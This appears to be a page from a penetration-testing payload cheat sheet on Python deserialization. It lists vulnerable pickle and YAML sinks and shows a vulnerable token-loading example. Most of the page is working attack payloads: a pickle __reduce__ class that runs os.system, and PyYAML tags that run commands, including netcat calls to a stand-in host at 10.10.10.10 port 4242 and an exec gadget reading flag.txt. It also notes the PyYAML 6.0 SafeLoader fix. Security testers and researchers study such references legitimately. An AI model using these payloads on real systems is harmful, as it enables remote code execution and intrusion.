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118 lines
4.2 KiB
Markdown
118 lines
4.2 KiB
Markdown
# Python Deserialization
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> Python deserialization is the process of reconstructing Python objects from serialized data, commonly done using formats like JSON, pickle, or YAML. The pickle module is a frequently used tool for this in Python, as it can serialize and deserialize complex Python objects, including custom classes.
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## Summary
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* [Tools](#tools)
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* [Methodology](#methodology)
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* [Pickle](#pickle)
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* [PyYAML](#pyyaml)
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* [References](#references)
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## Tools
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* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) - Serialized payload for deserialization RCE attack on python driven applications where pickle,PyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.
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## Methodology
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In Python source code, look for these sinks:
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* `cPickle.loads`
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* `pickle.loads`
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* `_pickle.loads`
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* `jsonpickle.decode`
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### Pickle
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The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
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:warning: `import cPickle` will only work on Python 2
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```python
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import cPickle
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from base64 import b64encode, b64decode
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class User:
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def __init__(self):
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self.username = "anonymous"
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self.password = "anonymous"
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self.rank = "guest"
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h = User()
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auth_token = b64encode(cPickle.dumps(h))
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print("Your Auth Token : {}").format(auth_token)
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```
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The vulnerability is introduced when a token is loaded from an user input.
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```python
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new_token = raw_input("New Auth Token : ")
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token = cPickle.loads(b64decode(new_token))
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print "Welcome {}".format(token.username)
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```
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Python 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server.
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> The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
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```python
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import cPickle, os
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from base64 import b64encode, b64decode
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class Evil(object):
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def __reduce__(self):
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return (os.system,("whoami",))
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e = Evil()
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evil_token = b64encode(cPickle.dumps(e))
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print("Your Evil Token : {}").format(evil_token)
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```
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### PyYAML
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YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
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```yaml
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!!python/object/apply:time.sleep [10]
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!!python/object/apply:builtins.range [1, 10, 1]
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!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
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!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
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!!python/object/new:subprocess [["ls","-ail"]]
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!!python/object/new:subprocess.check_output [["ls","-ail"]]
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```
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```yaml
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!!python/object/apply:subprocess.Popen
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- ls
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```
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```yaml
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!!python/object/new:str
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state: !!python/tuple
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- 'print(getattr(open("flag\x2etxt"), "read")())'
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- !!python/object/new:Warning
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state:
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update: !!python/name:exec
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```
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Since PyYaml version 6.0, the default loader for `load` has been switched to SafeLoader mitigating the risks against Remote Code Execution. [PR #420 - Fix](https://github.com/yaml/pyyaml/issues/420)
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The vulnerable sinks are now `yaml.unsafe_load` and `yaml.load(input, Loader=yaml.UnsafeLoader)`.
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```py
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with open('exploit_unsafeloader.yml') as file:
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data = yaml.load(file,Loader=yaml.UnsafeLoader)
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```
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## References
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- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
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- [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
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- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
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- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
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- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf) |